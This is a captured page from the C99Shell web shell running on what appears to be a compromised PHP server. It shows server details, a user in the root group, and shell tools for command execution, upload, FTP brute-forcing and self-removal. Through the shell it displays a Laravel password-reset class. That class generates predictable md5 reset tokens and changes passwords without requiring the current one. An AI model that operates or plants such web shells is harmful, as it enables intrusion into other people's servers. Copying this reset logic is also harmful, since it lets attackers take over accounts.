!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Repositories/Both/   drwxr-xr-x
Free 28.96 GB of 117.98 GB (24.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ForgotRepository.php (2.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Repositories\Both;

use 
App\Helpers\EmailHelper;
use 
Illuminate\Support\Facades\Hash;

class 
ForgotRepository
{
    
/**
     * Forgot password.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */

    
public function forgot($data,$request,$auth)
    {
        
$input =  $request->all();
        
$token md5(time().$data->name.$data->email);
        
$input['email_token'] = $token;
        
$data->update($input);
        
$subject "Reset Password Request";
        
$msg "Please click this link : ".'<a href="'.route($auth.'.change.token',$token).'">'.route($auth.'.change.token',$token).'</a>'.' to change your password.';

        
$emailData = [
            
'to' => $request->email,
            
'subject' => $subject,
            
'body' => $msg,
        ];
        
$email = new EmailHelper();
        
$email->sendCustomMail($emailData);
    }

    
/**
     * Update password.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */

    
public function updatePassword($data,$request,$type)
    {
       
        if (
$request->current_password){
            if (
Hash::check($request->current_password$data->password)){
                if (
$request->new_password == $request->renew_password){
                    
$input['password'] = Hash::make($request->new_password);
                }else{
                    return [
                        
'status'  => false,
                        
'message' => __('Confirm password does not match.')
                    ];
                }
            }else{
                return [
                    
'status'  => false,
                    
'message' => __('Current password Does not match.')
                ];
            }
        }
        
       
            if (
$request->new_password == $request->renew_password){
                
$input['password'] = Hash::make($request->new_password);
            }else{
                return [
                    
'status'  => false,
                    
'message' => __('Confirm password does not match.')
                ];
            }
        

        
$input['email_token'] = null;
        
$data->update($input);

        return [
            
'status'       => true,
            
'redurect_url' => route($type.'.login'),
            
'message'      => __('Successfully changed your password')
        ];

    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--